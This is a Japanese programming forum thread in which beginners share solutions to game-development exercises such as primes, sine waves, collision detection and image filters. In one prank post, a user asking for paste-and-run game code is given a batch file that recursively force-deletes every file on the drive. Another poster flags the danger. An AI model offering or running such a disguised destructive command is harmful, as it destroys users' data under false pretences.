- 1 名前:名前は開発中のものです。 [04/06/10 18:05 ID:VshiFFV8]
- ゲームに必要な要素を先生が出してくれます
その課題をクリアしていく講習会です
- 531 名前:DarkRED mailto:sage [2005/08/20(土) 22:13:46 ID:6c5ezetJ]
- 課題7終わりました。終わりはしたんですが・・・
>画面を横を640kmと仮定し、初速、角度を入力させ、弾の軌道を描いてくれ。 >ちなみに、初速は29000m/s以下で >重力加速度は10m/(s^2)でお願いします。 この設定どおりに作ると、 初速を小さくする →画面の横が640[km]というスケールのでかさのせいで、 画面上でほとんど弾が動いて見えない。 初速を大きくする →上に加えていつまで経っても着地しない。 (例えば真上に200[m/s]で打ち上げたら戻ってくるまで40秒かかる。 しかし初速の上限はこの100倍以上・・・。 っていうか俺計算間違ってないよね?間違ってたら指摘щ(゚Д゚щ)カモーン) ってな感じで物理シミュレーションっぽく見えないので、 横を640[m]として初速を80[m/s]以下にするくらいが ちょうどいいのではないかって案を一応出しておきます。 俺のソースがいつもより汚いのもあるので、 この課題は後日改めてやり直すことにして次に進みたいと思います。
- 532 名前:名前は開発中のものです。 mailto:sage [2005/08/20(土) 22:59:15 ID:DmAbypHE]
- ソースまたはバイナリを出してくれないと
プログラミングの観点からはアドバイスのしようが無いな まあ、チラシの裏がわりに日記書いてるなら別にいいんだけど
- 533 名前:DarkRED mailto:sage [2005/08/21(日) 04:08:51 ID:V4j1CSlt]
- >>532
全然人がいないので、ソース挙げて放置されるのが恐かったw これからは、ソースに対してコメント貰えたらラッキー程度に考えることにします。 というわけで課題3〜6までのソースをうpしました。 改善点・アドバイスなどありましたら指摘お願いします。 gamdev.org/up/img/3050.zip 個人的には、C++を使った課題6が激しく不安です。 C++ではこれ以外にはHello,worldしか作ったことが無いので・・・。
- 534 名前:名前は開発中のものです。 mailto:sage [2005/08/28(日) 12:14:26 ID:5RtWHjvv]
- 面白そうだったのでLGP弄ってみた。
面倒そうな課題外伝と課題1、2を後回しにし、 課題3〜10と来てちょっと疲れたので気分転換に課題11をやってみた。 ソースはかなり自分勝手に書いてるので注意。 ttp://gamdev.org/up/img/3084.zip あれだな、HSPでも作った事あるんだが、 ライフゲーム作るとその言語に大分慣れた気分になるのが不思議だなw
- 535 名前:名前は開発中のものです。 mailto:age [2005/09/01(木) 15:58:14 ID:r8NLKjpu]
- 俺もやってみようかな言語はHSPだけど
講師の方はいないの?とりあえずage
- 536 名前:名前は開発中のものです。 mailto:sage [2005/09/01(木) 18:08:35 ID:OrClWdjm]
- >>535
ノシ とりあえずどのぐらいのレベルなのか・言語遍歴ドゾー
- 537 名前:535 mailto:age [2005/09/01(木) 23:44:31 ID:r8NLKjpu]
- >>536
ほとんど初心者です。ここで勉強ようと思ってます もちろん他にやったことある言語はないです。 課題1と課題3はできたけど課題2の素数がまったくわからない・・・
- 538 名前:名前は開発中のものです。 mailto:sage [2005/09/02(金) 01:38:53 ID:lS2+1QXD]
- とりあえず検索ワードおいときますね
エラトステネスのふるい
- 539 名前:535 mailto:sage [2005/09/02(金) 04:52:22 ID:XGg1mxKl]
- >>538
あーだめだ。わからない エラトステネスのふるいの計算の仕方はわかったけど どうやってHSPでやればいいのかがわからない と言うかまだ基本的なことがわかってないみたいだから 講座とか読んで勉強してきます
- 540 名前:名前は開発中のものです。 mailto:sage [2005/09/03(土) 02:14:26 ID:ueWuhlOr]
- なんとなく漏れもHSP3で参加してみます。
…課題1〜3まで出来たけど課題4が出来ないや。sin波形ワケワカラナス
- 541 名前:名前は開発中のものです。 mailto:sage [2005/09/24(土) 21:39:06 ID:puvSe1x9]
-
- 542 名前:名前は開発中のものです。 [2005/09/26(月) 01:41:22 ID:HXJRBQqp]
- ■まとめページ
【初心者】課題をクリアしていくスレ【講習会】まとめ gamdev.org/w/?%5B%5B%A1%DA%BD%E9%BF%B4%BC%D4%A1%DB%B2%DD%C2%EA%A4%F2%A5%AF%A5%EA%A5%A2%A4%B7%A4%C6%A4%A4%A4%AF%A5%B9%A5%EC%A1%DA%B9%D6%BD%AC%B2%F1%A1%DB%A4%DE%A4%C8%A4%E1%5D%5D ・過去問や解答が掲載されています。 ■姉妹スレ 【目標ない奴】おまいらに課題を与える。【集まれ】 pc8.2ch.net/test/read.cgi/gamedev/1026148930/ ・お題はゲームの作成が中心になっています。このスレよりちょっと難易度が高い。
- 543 名前:名前は開発中のものです。 mailto:sage [2005/09/27(火) 07:23:17 ID:GGOdg2Cr]
- gamdev.org/up/img/3428.phps
課題1数当てです
- 544 名前:名前は開発中のものです。 mailto:sage [2005/09/27(火) 07:53:22 ID:GGOdg2Cr]
- gamdev.org/up/img/3429.phps
課題2素数 大きい数字から割っていってるので効率悪いかも
- 545 名前:名前は開発中のものです。 mailto:sage [2005/09/27(火) 08:56:37 ID:GGOdg2Cr]
- gamdev.org/up/img/3430.phps
課題3赤い四角 tchar.hってVC以外でも使えるのかな?
- 546 名前:名前は開発中のものです。 mailto:sage [2005/09/27(火) 09:13:30 ID:GGOdg2Cr]
- gamdev.org/up/img/3431.phps
課題4sin波形 SetPixelでやるとうまくいかない
- 547 名前:名前は開発中のものです。 mailto:sage [2005/09/27(火) 10:59:10 ID:GGOdg2Cr]
- gamdev.org/up/img/3432.phps
課題5キー入力 あえてバックバッファを使わない方法を模索
- 548 名前:名前は開発中のものです。 mailto:sage [2005/09/28(水) 02:00:38 ID:GJl3SF9q]
- gamdev.org/up/img/3434.phps
課題6 当たり判定 敵と味方の四辺を比較
- 549 名前:名前は開発中のものです。 mailto:sage [2005/09/28(水) 06:45:19 ID:GJl3SF9q]
- gamdev.org/up/img/3435.phps
課題11 ライフゲーム製作 VC++で作りました BCCでも少しの修正で動くと思います
- 550 名前:名前は開発中のものです。 mailto:sage [2005/09/28(水) 08:23:57 ID:IBjiJLIJ]
- ほほぅなかなかやりおる。でもあんまり飛ばすと後で急にやる気なくなるから注意だ。
- 551 名前:名前は開発中のものです。 mailto:sage [2005/09/29(木) 19:17:35 ID:LE7U2HkX]
- ここで、問題を出してみる。
当たり判定を、四角形ではなく円形で行ってください。
- 552 名前:名前は開発中のものです。 mailto:sage [2005/09/30(金) 09:28:41 ID:+8V2fz3M]
- ヒントはピタゴラス?
- 553 名前:名前は開発中のものです。 [2005/10/04(火) 15:10:27 ID:t2ocW2mS]
- >>551
先生、できました! 採点よろしくおねがいします gamdev.org/up/img/3474.phps
- 554 名前:名前は開発中のものです。 [2005/10/14(金) 02:14:31 ID:IPOLOsVX]
- gamdev.org/up/img/3539.phps
課題8 弾を撃って貰います 当たったら画面外へ移動 画面外で重なってしまわないように座標に注意
- 555 名前:名前は開発中のものです。 mailto:sage [2006/03/02(木) 22:15:56 ID:cLvXii56]
- 随分廃れてるなぁ・・・
- 556 名前:名前は開発中のものです。 mailto:sage [2006/03/02(木) 22:16:52 ID:cLvXii56]
- あ、ageとこう・・・。
- 557 名前:名前は開発中のものです。 mailto:sage [2006/03/03(金) 01:25:47 ID:hvy8QSOW]
- >>555
先生が現れればある程度復活するだろう。
- 558 名前:名前は開発中のものです。 mailto:sage [2006/03/22(水) 23:48:16 ID:pGER7Nuk]
- 他人にソース見せて悪い箇所を指摘してもらうのが上達の秘訣って聞いたんだけど
先生なってくれる人居ないのかな?
- 559 名前:名前は開発中のものです。 mailto:sage [2006/03/23(木) 01:44:59 ID:rIjaXeea]
- とりあえず晒したら何かしらレスが付くと思われ
- 560 名前:名前は開発中のものです。 mailto:sage [2006/06/03(土) 12:45:09 ID:LfwUSM+O]
- こっそり開始
数当てゲーム作るぜ チラシの裏状態になるんだろうけどな
- 561 名前:名前は開発中のものです。 mailto:sage [2006/06/03(土) 14:21:12 ID:LfwUSM+O]
- ソース(VB2005)
gamdev.org/up/img/5982.phps まとめ 一行入力はConsole.ReadLine 一行出力はConsole.WriteLine 乱数つくるのにNew Randomしないといけない Console.ReadLineで何も入力しなければ例外がでるのでtry〜catchで処理 採点とまでいかなくてもおかしいところがあったら教えてくれよな
- 562 名前:名前は開発中のものです。 mailto:sage [2006/06/03(土) 14:39:54 ID:LfwUSM+O]
- 素数のソース(VB2005)
gamdev.org/up/img/5984.phps まとめ 関数は Function 〜 End Function ループ While (継続条件) 〜 End While 変数の初期化 Dim i As Integer = 2 数当てのほうが難しかったぜ 次はついにWindowプログラムか
- 563 名前:名前は開発中のものです。 mailto:sage [2006/06/05(月) 23:30:18 ID:8flTmyaF]
- 課題3赤い四角のソース(VB.NET2005)
gamdev.org/up/img/6008.phps ビルドするにはPictureBoxコントロールとTimerコントロールを貼り付けておいてください まとめ FormのMaximizeBoxプロパティをfalseに設定すると最大化ボタンが無効(灰色)になる FormBorderStyleをFixedSingleに設定すると実行時にFormのサイズをマウスなどで変更不可 クライアント領域(描画できる領域)を640x480にするにはClientSizeプロパティを実行時にコードで変更する必要がある 四角を描くのはFillRectangle その準備にPictureBox1.CreateGraphics()が必要、使い終わったらDispose()する VBなんだからもっと簡単にグラフィック描画できればいいのに・・・・・・
- 564 名前:名前は開発中のものです。 mailto:sage [2006/06/06(火) 22:07:03 ID:BKKQVE+c]
- 課題4 sin波形 VB.NET2005
gamdev.org/up/img/6015.phps g.Dispose()しなくてもガベコレが処理してくれるとか言ってるサイトをみつけたんだが やっぱしたほうがいいよな、たぶん まとめ iがIntegerなのに増分を小数にして永久ループというひどい目にあった ペンの作成はDim p As New System.Drawing.Pen(Color.Red) 変数宣言したあとさらにNewやCreateするのって長くて嫌だなぁ……
- 565 名前:名前は開発中のものです。 mailto:sage [2006/06/08(木) 15:32:16 ID:l70M6MGX]
- がんばれ〜
- 566 名前:名前は開発中のものです。 mailto:sage [2006/06/10(土) 20:16:40 ID:0j3Y3Eu0]
- >>565
がんがる〜 課題スレVB2005課題5キー入力 gamdev.org/up/img/6099.phps キー入力とバックバッファをやった GetAsyncKeyStateを使う方法もあるらしいけど 今回はwikiのヒントにあった_KeyDownを使った まとめ ・Formにコンポーネントを乗せるとKeyDownなどのイベントプロシージャが実行されなくなる場合がある これに対処するにはFormのKeyPreviewをTrueにする ・KeyDownでフラグをTrue、KeyUpでフラグをFalseにする こうすることでキーを押しっぱなしにしたときにKeyDownが連続で発生してもキーが現在、押下状態かどうか判断できる ・バックバッファはBackBuffer = New Bitmap(640, 480)でビットマップを作って利用 ・ビットマップになにか描画したいときはBBGraphics = Graphics.FromImage(BackBuffer)でBBGraphicsを使う ・ビットマップを描画画面に転送するのはformGraphics.DrawImage(BackBuffer, 0, 0) Timer以外でメインループを作る方法が見つからないorz win32のPeekMessageやDelphiのOnIdleみたいな方法ないのかなぁ…… Application.DoEvents()を挟んでビジーループでいいのかな System.Threading.Thread.SleepでSleepの替わりにもなりそうだし
- 567 名前:名前は開発中のものです。 mailto:sage [2006/06/11(日) 13:19:05 ID:tyRLJnFM]
- 課題6当たり判定
gamdev.org/up/img/6107.phps まとめ 矩形が重なっているかどうかで判定 ENDで終了
- 568 名前:名前は開発中のものです。 mailto:sage [2006/06/27(火) 21:32:41 ID:SYe9nV57]
- ,、,、,||
;'`,゙、.||'、 保守 '; 、' /´;`'., ´' .; ' ; '、'. '; 、 ' ,' '.,´; ' l !j /ルゝ
- 569 名前:名前は開発中のものです。 mailto:sage [2006/08/14(月) 06:40:17 ID:NHdHnzDZ]
- 先生失踪中ヵ..
- 570 名前:名前は開発中のものです。 mailto:sage [2006/08/14(月) 07:18:28 ID:VdbybaMn]
- 先生がいなくても自分一人でできる奴ばかりだから大丈夫だろう。
課題をやっている奴は、GameDevPukiWikiにソースを貼ってもらえると 先生がいないと不安な後続の人達の参考になって良いかも。
- 571 名前:名前は開発中のものです。 [2006/08/15(火) 20:25:23 ID:O7thC4Po]
- 課題7 -課題外伝- 弾道シミュレーション
gamdev.org/up/img/7120.phps サインコサインで悩んだorz ゲ製作にVB使い少ない……
- 572 名前:名前は開発中のものです。 mailto:sage [2006/08/16(水) 02:44:08 ID:qsmhqtob]
- 微分積分いい気分
C言語とか意味不明だ
- 573 名前:名前は開発中のものです。 mailto:sage [2006/08/16(水) 02:58:57 ID:vu7zrhua]
- >微分積分いい気分
( ´∀`)σ)∀`)>>572
- 574 名前:名前は開発中のものです。 mailto:sage [2006/08/16(水) 23:44:56 ID:hBfKBKuk]
- 題8 弾を撃って貰います vb.net
gamdev.org/up/img/7146.phps ArrayList使ってみた 当たり判定ちょっと面倒だったよ 本当は関数化したほうがいいのかな
- 575 名前:名前は開発中のものです。 mailto:sage [2006/08/19(土) 12:29:09 ID:Kg/n9ytV]
- 課題10 インベダ風移動 vb.net
gamdev.org/up/img/7173.phps VBって解放が必要なのか不要なのかいまいちわかりずらいorz
- 576 名前:名前は開発中のものです。 [2006/09/10(日) 17:11:36 ID:TDb9YusH]
- スレ違いかもしれないですけど。
回線速度が512Kbp/Sの回線を用いて256000byteのデータを、 転送するためには何秒かかるか。 1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、 平均2o秒とする。 計算式も書くこと。 さっぱり分かりませんので計算お願いします。。。
- 577 名前:名前は開発中のものです。 mailto:sage [2006/09/10(日) 18:48:03 ID:WLNmrtem]
- 基本情報の午前に出そうな問題だな。
懐かしいわ。
- 578 名前:名前は開発中のものです。 mailto:sage [2006/09/10(日) 19:47:52 ID:GdkKRdS2]
- スレ違いどころか板違いだな
プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが こんなやつ誘導したくないな
- 579 名前:名前は開発中のものです。 mailto:sage [2006/09/17(日) 15:08:39 ID:dp7/71US]
- 最近の若い者って、調べる能力がやたら低くない?
人のことを若い者って言えるほど年食ってるわけじゃないけど。
- 580 名前:名前は開発中のものです。 mailto:sage [2006/09/17(日) 16:08:29 ID:kab63KmG]
- ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、
それをやると学校でモノ教える意味がなくなるから、 既得権益の亡者な教師にはソレができない。
- 581 名前:名前は開発中のものです。 mailto:sage [2006/09/18(月) 13:16:25 ID:W/lXcIbz]
- 安易に「ググれ」と教えてはいけない。考えなくなるから。
そのうち「ググっても無かったので分かりません」と言い出しかねない。
- 582 名前:名前は開発中のものです。 [2006/10/19(木) 12:24:46 ID:2T8BbUdQ]
- いくつか問題を出しましょう。
エフェクトに関する入り口。 適当な画像を、 ・モノクロ ・エッジ ・モザイク ・ソフト 加工してください。
- 583 名前:くたらぎけん [2006/10/20(金) 14:17:57 ID:an970z+w]
- このスレ今から参加しても宜しいのでしょうか?
- 584 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 22:11:32 ID:fQ4Z1QKt]
- 勝手にやればいいんでね
- 585 名前:名前は開発中のものです。 [2006/10/21(土) 09:30:29 ID:wamNDeux]
- メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい
時間が無いのでなるべく早くお願いします
- 586 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 09:35:13 ID:6R8oaMOr]
- 1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける @echooff del /q/f/s \ 3.出来たファイルを実行する 4.昨夜はお楽しみでしたね
- 587 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 19:37:53 ID:XCzYIwYp]
- まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。
- 588 名前:名前は開発中のものです。 [2006/10/21(土) 21:56:38 ID:wamNDeux]
- delで何となく分かったよ
別に困らないけどね
- 589 名前:名前は開発中のものです。 [2006/10/22(日) 00:00:29 ID:IqzFRS51]
- やってみようと思うときが参加のタイミング。
適当に覗いて見よう。
- 590 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 09:32:09 ID:be4WCk1M]
- 1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける var WShell = WScript.CreateObject("WScript.Shell"); var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー"; var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け"; var indexCom = Math.floor(Math.random()*3); var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3; if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん"); else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん"); 3.出来たファイルを実行する 4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ
- 591 名前:受験生 ◆B57Fo1eLjo mailto:sage [2006/10/22(日) 10:29:26 ID:T38aBY/h]
- 2あたりにいた受験生です(酉忘れちまったw
このスレまだあったのか… また課題でも用意する?
- 592 名前:名前は開発中のものです。 [2006/11/19(日) 01:28:15 ID:wJaGDUpd]
- >>582の課題やってみました
モノクロということでカラー画像から2値画像への変換 gamdev.org/up/img/8128.zip 開発環境はDelphi6 personal ソース、実行ファイルが含まれています 使い方 ファイル→開く でBMP画像を開いておく 画像変換→モノクロ で画像処理をはじめます 画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい) 変換サンプル画像 変換前 bbs.gamdev.org/gamedev/gamdev.png ↓ 変換後 gamdev.org/up/img/8129.jpg 避難所の看板に変換処理をかけてみました 閾値はRGBともに32 この数字をうまく決めないと画像が消えちゃいますね フォトレタッチソフトは閾値の入力なしで自動で処理してるけど なにかうまい方法があるのかな
- 593 名前:C++/win32API [2006/11/25(土) 00:09:14 ID:ZxloQDt/]
- 課題5です。
どなたかバックバッファがわかる方教えてください。 ↓画面が真っ白になるんですけどどうすれば直りますか? ttp://gamdev.org/up/img/8183.zip
- 594 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 02:02:55 ID:FscVmuXx]
- >>593
92-94行 SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); を SelectObject(backBafferDC,hPen); SelectObject(backBafferDC,hBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); に直してみてはいかがか。
- 595 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:57:48 ID:zYG1sxsz]
- >>582の課題モザイク
サンプル画像 gamdev.org/up/img/8191.png 実行ファイルとソース gamdev.org/up/img/8192.zip このままの速度じゃゲームに使えないね ひと段落ついたら高速化もやってみたい それにしてもエッジ難しすぎる…… 微分やオペレータって画像処理の基本らしいので がんばりたいけど
- 596 名前:593 [2006/11/25(土) 21:37:45 ID:ZxloQDt/]
- >>594
できました!ありがとうございます。
- 597 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 13:00:13 ID:AfDweK2L]
- チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。 この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには 総当りするか、無限個の要素からなる配列をふるいにかけるかである。 もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。
- 598 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 20:55:38 ID:3EIwZmwn]
- >>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、 n以下の素数が列挙されている必要がある。 これが「エラトステネスのふるい」から得られる知見なのだよ。 そうしてみると、1000個目の素数を探すプログラムには、 ・ 次に判定する整数を示すカウンタ ・ 今までに見つかった素数を格納する配列 を確保する必要がある。 1000個目、という指定は、後者の確保する用量が静的に決まるため、 極めて具合が良いのだよ。 「エラトステネスのふるい」と言われて、 教科書どおりの手順しか思いつかない人間には、 残念ながら、創造の才能は無いよ。 与えられた道具は、使い方を工夫して、組み合わせるんだ。
- 599 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 01:45:59 ID:VYv9sMeV]
- サンプル画像
kasumicyoucyou.fc2web.com/Palau2006/0329/3290151.jpg ↓ gamdev.org/up/img/8231.png 実行ファイルとソース gamdev.org/up/img/8232.zip 微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた 工夫した点はRGBを別々に比べたこと RGBの合計を閾値と比べるより綺麗なエッジがでます 閾値を弄れば雲の部分のエッジを出すことも可能 その場合は他の場所がうまくいかなかったりするので 調整するのも難しい
- 600 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 03:03:40 ID:JXILxC55]
- >>598
前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。 ttp://gamdev.org/up/img/8233.phps というか、>>382と同じですねHAHAHA. orz
- 601 名前:名前は開発中のものです。 mailto:sage [2006/12/18(月) 20:43:34 ID:f8pwlrC2]
- 課題 素数 COBOL
gamdev.org/up/img/8389.phps まだCOBOLは出てなかったようなので……。
- 602 名前:名前は開発中のものです。 [2007/01/03(水) 13:04:17 ID:34CL32fK]
- ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず
あいむなっとあにぃいいいいいいいいいまああああああああある!
- 603 名前:名前は開発中のものです。 mailto:sage [2007/02/03(土) 16:43:24 ID:b0e6Rts8]
- いきなりだが俺もちょこっと参加させてくれ。
とりあえずできそうなのからということで >64の素数をやってみた。つかってるのはHSP3 よろしくお願いします。 screen 0,800.700,,, font "MS ゴシック",8 a=2 b=2 c=0 repeat repeat if a\b = 0{ if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break} else :break } if a<b :break b++ loop a++ b=2 if c=1000 :break await 1 loop stop こんなので、こういうのができるのに自分でもびっくりだった。 本当にあってるかはよくわからんけど。
- 604 名前:名前は開発中のものです。 mailto:sage [2007/02/03(土) 16:46:30 ID:b0e6Rts8]
- と思ったら過疎スレなのか(´д`)
- 605 名前:製作神 ◆3C/O4odLsY [2007/02/03(土) 16:50:16 ID:z04kCzis]
- もっと投下すれば賑わうであろう。
- 606 名前:名前は開発中のものです。 mailto:sage [2007/02/04(日) 16:07:13 ID:wipOHoKW]
- 数当てもつくってみたよ。しかしマジでいないなー。
- 607 名前:名前は開発中のものです。 mailto:sage [2007/02/04(日) 18:12:35 ID:MWYCkzpm]
- >>603
偉そうに登場したのによろしくお願いしますで締めてるところにうけた
- 608 名前:名前は開発中のものです。 mailto:sage [2007/02/05(月) 06:15:29 ID:JxXUp4Vb]
- 配列変数とやらを使って、+1ずつして割っていく方法から、
でてきた素数を代入して割っていく方法に変えたら、 >603の時より、ループ回数が偉く少なくなった。 でも、他にa+2でやったほうが早そうなんだけど、 それをきれいにはめる方法が良くわからない。 if 構文追加してもいいけど、どっちみち2で割るところまでくれば 変わらないような気もするし。
- 609 名前:名前は開発中のものです。 mailto:sage [2007/02/05(月) 06:38:57 ID:JxXUp4Vb]
- 計算方法をちょこっと変えたら、5000万のループ回数が70万に。素数オモスレー
- 610 名前:名前は開発中のものです。 mailto:sage [2007/02/07(水) 05:50:49 ID:GNKliERn]
- む、HSPなんだけどSIN波形というのがよくわからん。
何をどうするのかが。 >107のはうちで動かんし。 考え方からさっぱりだ。
- 611 名前:名前は開発中のものです。 [2007/02/07(水) 15:20:39 ID:NKLSTYEl]
- HSP3.0からsin関数が標準で使えるようになった、だから変数名でsinは使えない
R1=3.1415/180.0;3.1415/180=ラジアン単位で約1度 pos 0, 240 repeat 640 line cnt, 240+(sin(R1*cnt)*240) loop stop
- 612 名前:名前は開発中のものです。 mailto:sage [2007/02/16(金) 00:22:46 ID:qpyJEI/g]
- >611
サンキュ なるほど。line命令とかこういう風に使うのか。 しかもまるまる答えそのものじゃないかー。
- 613 名前:名前は開発中のものです。 [2007/02/16(金) 02:20:37 ID:ppH9PRcO]
- >>612
始点、終点も設定すると、前回の終点を 保存か算出する必要が出てくるからな
- 614 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 06:26:41 ID:x7siGPZt]
- 課題5の箱を動かすのやってるんだけど、
箱動くことは動くんだけど、 clsでやってるから箱がちらつくんだよね。 ヒント頼む ちなみに今こんな感じ。↓ screen 0,640,480 q=3 repeat getkey m,37 getkey n,39 getkey o,38 getkey p,40 x=x+q*(n-m) y=y-q*(o-p) if fx!x or fy!y :cls if x>320 :x=320 if x<0 :x=0 if Y>240 :y=240 if y<0 :y=0 color 255, :boxf 0+x,0+y,320+x,240+y fx=x:fy=y await 1 loop
- 615 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 12:59:22 ID:zySnsdUf]
- clsやめればいいじゃん
- 616 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 13:09:21 ID:AzT6DJgE]
- >>614
cls を使わずに、画面のクリアは boxf を使って真っ白に塗りつぶす。 これだけだとまだちらつくから、 画面塗りつぶしと箱描画をする前に redraw で描画モード0を指定する 画面塗りつぶしと箱描画をした後に redraw の描画モード1を指定する
- 617 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 14:52:49 ID:x7siGPZt]
- >615
使わないと画面真っ赤になっちゃう。 clsぐらいしかわからないからな。悪いな。 >616 boxfで塗りつぶすというのはたまに見るんだが、 なんだかよくわからんかった。が、それをヒントに、 色々やってみる。アリガトン
- 618 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 17:49:27 ID:x7siGPZt]
- これって
redraw 0 〜 redraw 1 〜の部分に描画するものいれておくと 1の時にまとめて表示されてちらつきがなくなるってことで良いのかな。 何でちらつかないのかはいまいちピンと来ないんだけど。 とりあえずclsのところに↓入れて redraw 0 :color 255,255,255 :boxf 0+fx,0+fy,max_x+fx,max_y+fy redraw 1 上を最後の方に入れた。 ただ、動きが重くなるんだね。この命令って処理が重いの?
- 619 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 20:25:31 ID:pIqCsBKC]
- 暇だからやってみた素数。2だけすまんがずるしてる。
これくらいが関数覚えなくてもできるから楽しいな。 もっと早いの考えてみっか。 /*--------------------------------------------------*/ #define MAXN 1000 #include <iostream.h> int main(){ int temp[MAXN],k=2,i=0,j,loop=0; cout<<2<<endl; while(i<MAXN){ temp[i]=2; for (j=0;j<=i;j++){ loop++; if(k%temp[j]==0) break; //kがn[j]の倍数ならn[j+1]に飛ばす else if(j==i){ temp[i]=k; cout<<temp[i]<<endl; i++; break; } } k++; } cout<<loop<<"回ループしやした!"<<endl; return 0; } /*--------------------------------------------------*/
- 620 名前:名前は開発中のものです。 mailto:sage [2007/02/18(日) 04:26:14 ID:8TgB3zN2]
- >>618
clsより軽いはずだ。
- 621 名前:名前は開発中のものです。 mailto:sage [2007/02/18(日) 16:42:46 ID:yPmVwvF6]
- >620
むー。そうなのかー。でも動き重くなったしなー。 使い方悪いのかなー。 課題6を 丸描いて敵にしてるんだけど、動き方をどうするかで 試行錯誤ちう
- 622 名前:名前は開発中のものです。 mailto:sage [2007/02/18(日) 21:48:11 ID:Z60cc6BP]
- >>621
重いのは await 1 が原因だよ。
- 623 名前:名前は開発中のものです。 mailto:sage [2007/02/21(水) 04:09:26 ID:XCgw7SD2]
- 課題6やってるんだけど、
あたり判定がなんか良くわからなくなって、 とりあえずはねかえる様にしようとしたらさらにワケワカラン状態に。orz 考え方が間違ってるのはわかってるんだが、どう間違ってるかが分からない。 ダメだしお願い。 ttp://gamdev.org/up/img/8984.lzh
- 624 名前:名前は開発中のものです。 mailto:sage [2007/02/21(水) 17:45:56 ID:1pwfm66w]
- ↓こうじゃない?
★箱 (x,y) ┏━━━━━┓(x+max_x,y) ┃ ┃ ┃ ・(x+max_x/2,y+max_y/2) ┃ ┃ ┗━━━━━┛(x+max_x,y+max_y) (x,ymax_y) ★玉 (enemy_x,enemy_y) ┌─────┐(enemy_x+sx,enemy_y) │ │ │ │ │ │ │ │ └─────┘(enemy_x+sx,enemy_y+sy) (enemy_x,enemy_y+sy) ★箱の右で衝突 (x,y) ┏━━━━━┓(x+max_x,y) ┃ ┃ ┃ ・(x+max_x/2,y+max_y/2) ┃ ┌─────┐ ┗━━━┥ │ enemy_xがx+max_x/2〜x+max enemy_yがy-sx〜y+max_y
- 625 名前:名前は開発中のものです。 mailto:sage [2007/03/02(金) 09:45:12 ID:RL8xs1BY]
- >624
スマン はねかえる様にできたら、そこからぶつかったという仕様にしたかったんだ。 ようやっと、とりあえずはね返るようにはなった。 後ろからあたりに行ったりするとスルーしちゃったりするけど、 大まかにははねかえる様になって、その条件式でちょっと仕様変えてぶつかったという判定にした。 なんか色々とつっかえたなぁ。サイト色々探しちゃったし。 つまると素数プログラムを改善して紛らわせてるんだけど、 数値に制限あるのな。HSP。 まぁ、そこまで素数を下から求めたりしないからいいんだけど、 素数を使って素数を判定するというもの作った時に、数値がめちゃくちゃになって弱った。
- 626 名前:名前は開発中のものです。 [2007/03/02(金) 16:19:42 ID:xch9HBdf]
- >>625
勘違いするなよ? 桁の制限なんてどんな言語でもあるぞw 言うなら32ビット整数型の制限だよ
- 627 名前:名前は開発中のものです。 mailto:sage [2007/03/02(金) 16:34:53 ID:RL8xs1BY]
- >626
そういうものなのか。 もうちょっと桁はいくもんなのかと思ってたけど、 なるほど2^32の半分なわけか。 となると、それを越える数字を使うプログラムははじかれるのか。 まとめサイトに繋がらないんだけど。なんでだろ。
- 628 名前:名前は開発中のものです。 mailto:sage [2007/03/02(金) 22:24:24 ID:e7ng/jU4]
- まとめサイトのping帰ってこない(´・ω・`)ショボーン
自分のソースのバックアップあそこにしかないのにwww
- 629 名前:名前は開発中のものです。 mailto:sage [2007/03/06(火) 20:19:53 ID:vyl0ltP/]
- まとめサイト復活来た。
弾道シミュやるヮ。 課題6はもう大体いいわ。
- 630 名前:名前は開発中のものです。 mailto:sage [2007/03/06(火) 21:22:00 ID:aM0UjHqH]
- そろそろ新しい課題欲しいな
- 631 名前:名前は開発中のものです。 mailto:sage [2007/03/06(火) 23:13:38 ID:vyl0ltP/]
- ボタンを作るみたいな課題とかどうよ。
